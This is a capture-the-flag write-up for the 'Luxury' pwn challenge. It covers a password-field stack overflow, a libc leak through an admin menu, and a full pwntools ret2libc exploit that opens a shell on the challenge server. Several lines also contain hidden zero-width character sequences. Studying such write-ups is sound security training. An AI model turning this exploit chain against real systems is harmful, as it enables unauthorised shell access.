← Back to Writeups
CUSTOMMediumpwn

Luxury (Люкс)

XESXOR9/2/20263 min read
#pwn#custom#medium#got_leak#libc_database_lookup#pie_bypass#ret2libc#stack_buffer_overflow#linux

Luxury (Люкс)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: got_leak, libc_database_lookup, pie_bypass, ret2libc, stack_buffer_overflow

Summary

Task: PWN binary with buffer overflow in login function, PIE enabled but GOT addresses leaked in admin menu. Solution: Use hardcoded credentials to access admin menu, leak libc addresses, identify libc version via libc.rip, then ret2libc with system("/bin/sh").

Luxury (Люкс) — Duckerz CTF

Description

Герой уже неделю живёт в этом роскошном отеле, но назвать его отдых идеальным сложно. Стандартный номер, скрипучая кровать, тусклый свет — явно не то, на что он рассчитывал. В соседних номерах постояльцы наслаждаются панорамными видами, джакузи и персональным обслуживанием, пока он вынужден мириться с этой посредственностью.

Такое положение дел его не устраивает. Пора переселяться.

Всё, что нужно, — изменить один параметр в базе данных. Ходят слухи, что сеть отеля не так уж и защищена, а доступ к серверу можно получить через уязвимость в роутере... ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary File

  • ELF 64-bit PIE executable
  • Protections: PIE enabled, NX enabled, NO canary, Partial RELRO
  • Source file: luxury.c

Vulnerability

Buffer overflow in login() function:

  • Username buffer: 0x40 bytes at rbp-0x40, reads 0x20 bytes (safe)
  • Password buffer: 0x20 bytes at rbp-0x20, reads 0x60 bytes (OVERFLOW!)

Overflow calculation: 0x20 (buffer) + 0x08 (saved rbp) = 0x28 bytes to return address

Hardcoded Credentials

  • Login: admin
  • Password: V3rY_sTroNg_p1ss ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Program Logic

  1. main() checks global variable is_admin
  2. If is_admin == 0 → calls login()
  3. If is_admin == 1 → calls admin()
  4. admin() menu prints addresses: printf, puts, fgets (libc), login (PIE)

Solution

Exploitation Steps

  1. Login with correct credentials (admin / V3rY_sTroNg_p1ss)
  2. In admin menu select option 2 to get puts@GOT address
  3. Calculate libc base: libc_base = puts_leak - 0x805a0
  4. Logout (option 5) to return to login
  5. Send BOF payload in password field:
    • 0x20 bytes padding
    • 0x08 bytes (overwrite saved rbp)
    • ret gadget (stack alignment for movaps)
    • pop rdi; ret gadget
    • "/bin/sh" address
    • system() address ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Libc Identification

Used libc.rip API with lower bits:

  • puts: 0x5a0
  • printf: 0x900
  • fgets: 0x670

Found: libc6_2.41-12_amd64

  • puts: 0x805a0
  • system: 0x53110
  • /bin/sh: 0x1a7ea4
  • pop rdi; ret: 0x2a145

Exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

LIBC_PUTS = 0x805a0
LIBC_SYSTEM = 0x53110
LIBC_BINSH = 0x1a7ea4
LIBC_POP_RDI = 0x2a145
LIBC_RET = 0x2a146

p = remote('tasks.duckerz.ru', 30004)

# Login to get leaks
p.recvuntil('логин:'.encode())
p.sendline(b'admin')
p.recvuntil('пароль:'.encode())
p.sendline(b'V3rY_sTroNg_p1ss')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Get puts leak
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'puts -> ')
puts_leak = int(p.recvline().strip(), 16)

# Calculate addresses
libc_base = puts_leak - LIBC_PUTS
system_addr = libc_base + LIBC_SYSTEM
binsh_addr = libc_base + LIBC_BINSH
pop_rdi = libc_base + LIBC_POP_RDI
ret = libc_base + LIBC_RET

log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")

# Logout
p.recvuntil(b'> ')
p.sendline(b'5')
p.recvuntil('логин:'.encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Build payload
payload = b'A' * 0x20  # buffer
payload += b'B' * 0x08  # saved rbp
payload += p64(ret)     # stack alignment for movaps
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

# Send exploit
p.sendline(b'admin')
p.recvuntil('пароль:'.encode())
p.sendline(payload)

p.interactive()

Notes

  • Important to use ret gadget before pop rdi for 16-byte stack alignment (movaps requirement in system)
  • libc.rip allows identifying libc version by lower 12 bits of function addresses
  • Logout returns to login(), which allows reusing BOF after getting leaks ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍